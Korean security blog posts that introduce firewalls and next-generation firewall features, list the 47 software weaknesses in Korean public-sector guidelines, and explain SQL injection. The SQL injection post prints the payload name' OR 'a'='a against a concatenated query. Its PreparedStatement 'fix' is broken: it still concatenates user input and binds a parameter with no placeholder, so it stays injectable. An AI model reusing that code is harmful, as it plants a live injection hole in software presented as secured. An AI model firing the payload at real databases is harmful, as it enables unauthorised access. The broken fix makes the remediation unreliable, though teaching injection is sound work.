2) 사용자 ID 기반 정책 :  위에서 정의한 것처럼 방화벽 정책을 만들 때, IP, PORT 등으로 만드는 정책이 기본적이나 이는 내부 기업에서 인사이동 등으로 인한 사용자의 IP가 변하거나 할 때 유동적이지 못합니다. 하여, 사용자의 ID는 기업 내부에서는 어떻게보면 고유한 값이므로, 이 사용자ID를 기반으로 정책을 수립하여 세분화된 보안정책을 만드는 것도 가능합니다.

3) DLP(Data Loss Prevention) :  내부 정보 유출방지에 대한 기능으로, 데이터의 흐름을 감시해서 기업내부의 중요한 정보가 외부로 유출되는 것을 막는 기능인데, 이제 방화벽에도 이런 기능이 추가되었나봅니다..

이 DLP 와 관련되어서는 기존에 이미 DLP솔루션이라 하여 다양한 제품들이 있으니 참고하시면 좋을듯합니다.

--------------------------------------------------------------------------------------------------

이 외에도 IPS, 웹 필터링 기능, SSL Inspection 등 추가적인 기능들이 차세대방화벽에서 가능하다고 합니다.

결론적으로 차세대방화벽에서는 방화벽의 기본 기능에서 일부 추가적인 기능이 부가적으로 더 제공되고 있으며,

예를 들어 Application제어 기능과 사용자ID 기반 정책 기능을 혼합하거나, 여기에 또 기존 기능들을 융합함으로써 조금 더 다양하고 기관 환경에 맞는 세부적인 정책수립이 가능하게 되었다고 보여집니다.

방화벽이 없는 취약한 구간에 도입해야하는데, 비용이 부담스럽다면 일반적인 방화벽으로도 문제없이 가능할 것 같습니다. 

하지만 차세대방화벽 기능 중 필요하거나 쓰고싶은 기능, 조금 더 세부적인 기관 내부정책 수립이 필요하다면, 비싸더라도 차세대라고 불리우는 최신 방화벽 모델을 구입하는것이 아무래도 편의성이나 성능, 보안을 위해서도 더 좋겠죠?

'Security > 보안장비' 카테고리의 다른 글

방화벽(firewall) 소개 및 정의  (0) 2020.03.20

WRITTEN BY
SiriusJ

,

오늘은 보안장비중 가장 기본적인 방화벽에 대해 다루며 간만의 포스팅을 올려볼까합니다.

방화벽은 침입차단시스템으로 부르기도 하는데, 우선 사전적 정의로는

'미리 정의된 보안 규칙에 기반한, 들어오고 나가는 네트워크 트래픽을 모니터링하고 제어하는 네트워크 보안 시스템이다. 방화벽은 일반적으로 신뢰할 수 있는 내부 네트워크, 신뢰할 수 없는 외부 네트워크(예: 인터넷) 간의 장벽을 구성한다.'

라고 구글에서 설명해주네요. Hi 구글.

쉽게 설명하자면, 외부 네트워크(악의적인 해커, 공격자 등)로부터 내부 네트워크 혹은 내부자산(PC, 서버, DB 등)을 보호하는 보안장비 로 이해하시면 쉬울 듯 합니다.

먼저 방화벽의 주요 기능은 아래와 같습니다.(장비의 주요 기능이 아닌 세부성능(스펙)과 관계된 부분은 굳이 넣지 않았습니다.)

----------------------------------------------------------------------------------------------------

1. 접근통제(Access Control)

- 외부에서 내부 네트워크로 접근하는 것을 패킷필터링*을 통해 통제하는 기능입니다.

 * 패킷필터링: 내부 네트워크로 접근하는 패킷의 IP, Port 등 검열하여 내,외부 네트워크에 대한 접근을 통제

2. 인증(Authentication)

1) 메시지 인증: VPN과 같은 신뢰할 수 있는 통신선을 통해 전송되는 메시지 신뢰성 보장

2) 사용자 인증: 방화벽을 지나가는 트래픽에 대한 사용자가 누군지에 대해 증명하는 기능(OTP, 토큰기반 인증, 패스워드 인증 등)

3) 클라이언트 인증: 모바일 사용자처럼 특수한 경우에 접속을 요구하는 호스트 자체에 대해 인가된 호스트인지 확인

3. 감사 및 로깅(Auditing & Logging)

- 정책 설정 및 변경, 관리자 접근, 네트워크 트래픽 허용 또는 차단과 관련한 사항 등 접속정보를 로그로 남김

4. 프록시(Proxy) 기능

- 보안정책에 따라 실제 서비스를 수행하는 서버로, 클라이언트의 서비스 요청을 받아 전달하고, 결과를 수신하여 사용자에게 전달하는 기능

5. NAT(Network Address Translation) 기능

- 주소변환 기능으로, 외부 호스트의 IP나 목적지 호스트 IP를 전송단계에서 변환하여 전달하는 기능으로, 네트워크에서 외부망과 내부망을 나눠주는 기능을 가능하게 함

 

결론적으로, 방화벽의 주요 기능들은 외부 네트워크로부터 접근하는 악의적인 해커에 대하여 내부 네트워크를 지키고자 하는 용도로 사용하게 되는 가장 기본이 되는 보안장비로 이해하시면 좋을 것 같습니다

다음번에는 방화벽의 세부 기능들에 대해 조금 더 다루는 포스팅을 올리겠습니다.

'Security > 보안장비' 카테고리의 다른 글

방화벽(firewall) 세부 기능 및 차세대방화벽  (0) 2020.03.25

WRITTEN BY
SiriusJ

,


구현단계 보안약점 중 SQL Injection에 대해 다뤄보고자 합니다.

구현단계 보안약점 유형 및 세부항목 소개( http://jwprogramming.tistory.com/262?category=682224 )


1. SQL Injection

1) SQL이란?

- 관계형 데이터베이스(MySQL, Oracle, Maria DB 등) 관리 시스템의 데이터를 관리하기 위해 설계된 프로그래밍 언어입니다.


그렇다면, 이 SQL Injection 공격은 무엇일까요?


대부분의 정보시스템은 데이터베이스를 사용하여 어떠한 데이터(사용자 ID, P/W, 시스템 관련 데이터 등)를 저장하고 있을 것입니다. 이렇게 DB운영자가 데이터베이스 시스템을 사용하기 위해서는 위의 SQL 구문을 이용하여 데이터베이스에 접근하여 데이터를 조회, 삽입, 삭제, 업데이트 등 일련의 행동을 할 것입니다.


예를 들어, SQL을 통해 아래와 같이 items 테이블로부터 사용자의 이름 등의 정보를 조회한다고 가정합니다.

string userName = request.getParameter("username");

string query = "SELECT * FROM items where owner = '"+ userName + "'"; 

위에서 userName은 외부에서 입력받아서 데이터베이스에 접근하게 되는 데이터일 것입니다.

만약 이 userName로 입력받는 값에 대하여 적절한 검증이 이루어지지 않은 채로 아래의 값이 들어오면 어떻게 될까요?

name' OR 'a'='a

해당 SQL Query는 참으로 인식하여, 데이터베이스에 허가되지 않은 사용자가 접근할 수 있게 됩니다. 

간단한 입력값만으로도 데이터베이스의 정보를 조작하거나 열람, 심지어 삭제해버릴 수도 있는 무서운 공격이 됩니다.


따라서, SQL Query에 사용되는 외부 입력값의 경우에는 1) preparedStatement를 이용하여 DB에 컴파일된 쿼리문을 전달하는 방법을 사용하거나, 2) 외부입력값에 대해 필터링하는 구문을 앞단에서 작성해주어야 합니다.

- [preparedStatement를 사용하는 경우]

string userName = request.getParameter("username");

string query = "SELECT * FROM items where owner = '" + userName + "'";

PreparedStatement s_username = con.prepareStatement(query);

s_username.setString(1, userName);

ResultSet rs = s_username.executeQuery();


SQL Injection은 개발자의 개발습관에 따라 쉽게 막을 수 있는 공격이지만,

보안대책을 적절히 구현하지 못하였을 시에는 무서운 공격이 될 수도 있으므로 개발 시에 DB에 접근하는 Query문의 경우에 검증하는 로직을 필히 구현하시기 바랍니다.


WRITTEN BY
SiriusJ

,

소프트웨어 보안약점은 지난번 포스팅(http://jwprogramming.tistory.com/261)에서 소개를 해드렸습니다.


더불어, 현재 공공 정보화사업 대상으로 지침에 의무화 되어 있는 소프트웨어 보안약점 기준(구현단계)은 무엇이 있는지 살펴보고자 합니다.


해당 지침에서는 구현단계에서 확인 및 제거해야 하는 보안약점 유형을 7개로 분류하고 해당 유형별 세부항목을 47개로 아래와 같이 정의하고 있습니다.

------------------------------------------------------------------------------------------------------------------------

유형 1. 입력데이터 검증 및 표현 : 사용자, 프로그램 입력 데이터에 대한 유효성 검증 체계를 갖추고, 실패 시 처리할 수 있도록 설계

- 1) SQL 삽입

- 2) 경로 조작 및 자원 삽입

- 3) 크로스사이트 스크립트

- 4) 운영체제 명령어 삽입

- 5) 위험한 형식 파일 업로드

- 6) 신뢰되지 않는 URL 주소로 자동접속 연결

- 7) XQuery 삽입

- 8) XPath 삽입

- 9) LDAP 삽입

- 10) 크로스사이트 요청 위조

- 11) HTTP 응답분할

- 12) 정수형 오버플로우

- 13) 보안기능 결정에 사용되는 부적절한 입력값

- 14) 메모리 버퍼 오버플로우

- 15) 포맷 스트링 삽입


유형 2. 보안기능 : 인증, 접근통제, 권한관리, 비밀번호 등의 정책이 적절하게 반영될 수 있도록 설계

- 1) 적절한 인증 없는 중요기능 허용

- 2) 부적절한 인가

- 3) 중요한 자원에 대한 잘못된 권한 설정

- 4) 취약한 암호화 알고리즘 사용

- 5) 중요정보 평문저장

- 6) 중요정보 평문전송

- 7) 하드코드된 비밀번호

- 8) 충분하지 않은 키 길이 사용

- 9) 적절하지 않은 난수값 사용

- 10) 하드코드된 암호화 키

- 11) 취약한 비밀번호 허용

- 12) 사용자 하드디스크에 저장되는 쿠키를 통한 정보노출

- 13) 주석문 안에 포함된 시스템 주요정보

- 14) 솔트없이 일방향 해쉬함수 사용

- 15) 무결성 검사없는 코드 다운로드

- 16) 반복된 인증시도 제한 기능 부재


유형 3. 시간 및 상태 : 동시 또는 거의 동시 수행을 지원하는 병렬 시스템, 하나 이상의 프로세스가 동작되는 환경에서 시간 및 상태를 부적절하게 관리하여 발생할 수 있는 보안약점

- 1) 경쟁조건: 검사 시점과 사용 시점(TOCTOU)

- 2) 종료되지 않는 반복문 또는 재귀 함수


유형 4. 에러처리 : 에러를 처리하지 않거나 불충분하게 처리하여 중요정보(시스템 등)가 포함될 때 발생할 수 있는 보안약점

- 1) 오류 메시지를 통한 정보노출

- 2) 오류 상황 대응 부재

- 3) 부적절한 예외 처리


유형 5. 코드오류 : 타입변환 오류, 자원(메모리 등)의 부적절한 반환 등과 같이 개발자가 범할 수 있는 코딩 오류로 인해 유발되는 보안약점

- 1) Null Pointer 역참조

- 2) 부적절한 자원 해제

- 3) 해제된 자원 사용

- 4) 초기화 되지 않은 변수 사용


유형 6. 캡슐화 : 중요한 데이터 또는 기능성을 불충분하게 캡슐화 하였을 때, 인가되지 않은 사용자에게 데이터 누출이 가능해지는 보안약점

- 1) 잘못된 세션에 의한 데이터 정보 노출

- 2) 제거되지 않고 남은 디버그 코드

- 3) 시스템 데이터 정보노출

- 4) Public 메소드로부터 반환된 Private 배열

- 5) Private 배열에 Public 데이터 할당


유형 7. API 오용 : 의도된 사용에 반하는 방법으로 API를 사용하거나, 보안에 취약한 API를 사용하여 발생할 수 있는 보안약점

- 1) DNS lookup에 의존한 보안결정

- 2) 취약한 API 사용

------------------------------------------------------------------------------------------------------------------------

과 같이 분류되고 있습니다.


자세한 내용은 '행정기관 및 공공기관 정보시스템 구축.운영 지침' 에서 참고할 수 있습니다. 


WRITTEN BY
SiriusJ

,

일반적으로 소프트웨어를 개발할 때, 보안을 신경쓰면서 개발하는 분들은 많지 않을 것입니다.


하지만 우리가 C, JAVA 등의 언어를 이용하여 개발할 때, 수많은 보안약점들이 내재되어 있다고 봐도 무방합니다.


이 보안약점이란 무엇일까요?


'소프트웨어 보안약점' 이란 소프트웨어 개발 시, 소프트웨어에 결함이 될 수 있는 논리적인 오류나 버그, 실수 등 이후 취약점으로 발생될 수 있는 근본 원인을 뜻합니다.


그렇다면 '소프트웨어 보안취약점' 이란 무엇일까요?

'소프트웨어 보안취약점' 이란 정보시스템(소프트웨어)에 실제로 내재되어있는 위험요소들로, 공격자가 이를 악용해서 해당 시스템의 정상적인 작동을 방해하거나 정보유출, 권한 상승 등을 일으킬 수 있는 것입니다.

> 소프트웨어 보안약점과 소프트웨어 보안취약점은 용어는 비슷해보이나, 소프트웨어의 보안사고를 대비하기 위해서는 원천적인 소프트웨어 보안약점을 제거하는 것이 필요합니다.


현재는 행정안전부에서 '행정기관 및 공공기관의 정보시스템 구축.운영 지침' 을 통하여 개발자가 구현(개발)단계에서 확인해야 하는 47개의 보안약점을 정의하고 있습니다.

(지금은 행정기관이나 공공기관 등의 공공 정보화 사업에서 의무화 되어 지키도록 강제하고 있지만, 민간에서도 해당 지침을 참고하여, 보다 안전한 소프트웨어를 개발하는 것이 필요하다고 생각합니다.)


크게 7개의 보안약점 유형으로 분류되고 있고, 각 유형별 세부 항목들로는 47개로 정의하고 있으며 이에 대한 자세한 설명은 다음 포스팅에서 다루도록 하겠습니다.


WRITTEN BY
SiriusJ

,